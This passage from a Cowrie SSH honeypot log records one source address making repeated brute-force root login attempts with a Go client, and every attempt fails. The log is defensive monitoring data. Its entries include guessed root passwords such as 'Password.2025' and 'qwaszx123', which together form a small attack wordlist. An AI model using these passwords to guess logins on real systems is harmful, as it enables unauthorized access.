12-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:26.701498Z","src_ip":"60.165.124.241","session":"6c981b67e49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13801380","message":"login attempt [root/13801380] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:27.426964Z","src_ip":"60.165.124.241","session":"6c981b67e49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:28.669879Z","src_ip":"60.165.124.241","session":"6c981b67e49a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58004,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f313010f4c","protocol":"ssh","message":"New connection: 60.165.124.241:58004 (10.17.0.5:22) [session: 23f313010f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:28.902966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:28.910278Z","src_ip":"60.165.124.241","session":"23f313010f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:29.148392Z","src_ip":"60.165.124.241","session":"23f313010f4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ch123456","message":"login attempt [root/Ch123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:29.867234Z","src_ip":"60.165.124.241","session":"23f313010f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:31.112836Z","src_ip":"60.165.124.241","session":"23f313010f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32838,"dst_ip":"10.17.0.5","dst_port":22,"session":"719d39af2c36","protocol":"ssh","message":"New connection: 60.165.124.241:32838 (10.17.0.5:22) [session: 719d39af2c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:31.351279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:31.355711Z","src_ip":"60.165.124.241","session":"719d39af2c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:31.600971Z","src_ip":"60.165.124.241","session":"719d39af2c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password100","message":"login attempt [root/password100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:32.333236Z","src_ip":"60.165.124.241","session":"719d39af2c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:33.576989Z","src_ip":"60.165.124.241","session":"719d39af2c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35728,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddef8e4bdc63","protocol":"ssh","message":"New connection: 60.165.124.241:35728 (10.17.0.5:22) [session: ddef8e4bdc63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:33.807626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:33.813342Z","src_ip":"60.165.124.241","session":"ddef8e4bdc63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:34.051569Z","src_ip":"60.165.124.241","session":"ddef8e4bdc63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password.2025","message":"login attempt [root/Password.2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:34.771816Z","src_ip":"60.165.124.241","session":"ddef8e4bdc63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:36.019419Z","src_ip":"60.165.124.241","session":"ddef8e4bdc63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38854,"dst_ip":"10.17.0.5","dst_port":22,"session":"7da67c3ff756","protocol":"ssh","message":"New connection: 60.165.124.241:38854 (10.17.0.5:22) [session: 7da67c3ff756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:36.277053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:36.283301Z","src_ip":"60.165.124.241","session":"7da67c3ff756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:36.537773Z","src_ip":"60.165.124.241","session":"7da67c3ff756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!!","message":"login attempt [root/1q2w3e4r5t!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:37.284549Z","src_ip":"60.165.124.241","session":"7da67c3ff756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:38.535170Z","src_ip":"60.165.124.241","session":"7da67c3ff756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41692,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe01dbf23485","protocol":"ssh","message":"New connection: 60.165.124.241:41692 (10.17.0.5:22) [session: fe01dbf23485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:38.760540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:38.766687Z","src_ip":"60.165.124.241","session":"fe01dbf23485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:39.005021Z","src_ip":"60.165.124.241","session":"fe01dbf23485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx123","message":"login attempt [root/qwaszx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:39.729424Z","src_ip":"60.165.124.241","session":"fe01dbf23485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:40.969557Z","src_ip":"60.165.124.241","session":"fe01dbf23485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44760,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d28b6cb34f","protocol":"ssh","message":"New connection: 60.165.124.241:44760 (10.17.0.5:22) [session: e6d28b6cb34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:41.202256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:41.208028Z","src_ip":"60.165.124.241","session":"e6d28b6cb34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:41.449078Z","src_ip":"60.165.124.241","session":"e6d28b6cb34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vectra","message":"login attempt [root/vectra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:42.166531Z","src_ip":"60.165.124.241","session":"e6d28b6cb34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:43.408544Z","src_ip":"60.165.124.241","session":"e6d28b6cb34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47792,"dst_ip":"10.17.0.5","dst_port":22,"session":"20c085b9b99f","protocol":"ssh","message":"New connection: 60.165.124.241:47792 (10.17.0.5:22) [session: 20c085b9b99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:43.640094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:43.645485Z","src_ip":"60.165.124.241","session":"20c085b9b99f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:43.883389Z","src_ip":"60.165.124.241","session":"20c085b9b99f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234..","message":"login attempt [root/Abcd1234..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:44.599921Z","src_ip":"60.165.124.241","session":"20c085b9b99f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:45.847272Z","src_ip":"60.165.124.241","session":"20c085b9b99f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50502,"dst_ip":"10.17.0.5","dst_port":22,"session":"f76df0d96fe2","protocol":"ssh","message":"New connection: 60.165.124.241:50502 (10.17.0.5:22) [session: f76df0d96fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:46.090491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:46.095541Z","src_ip":"60.165.124.241","session":"f76df0d96fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:46.346098Z","src_ip":"60.165.124.241","session":"f76df0d96fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Zx","message":"login attempt [root/123456Zx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:47.083456Z","src_ip":"60.165.124.241","session":"f76df0d96fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:48.328071Z","src_ip":"60.165.124.241","session":"f76df0d96fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53514,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f086677dff1","protocol":"ssh","message":"New connection: 60.165.124.241:53514 (10.17.0.5:22) [session: 1f086677dff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:48.559201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:48.566437Z","src_ip":"60.165.124.241","session":"1f086677dff1","protocol":"ssh"}
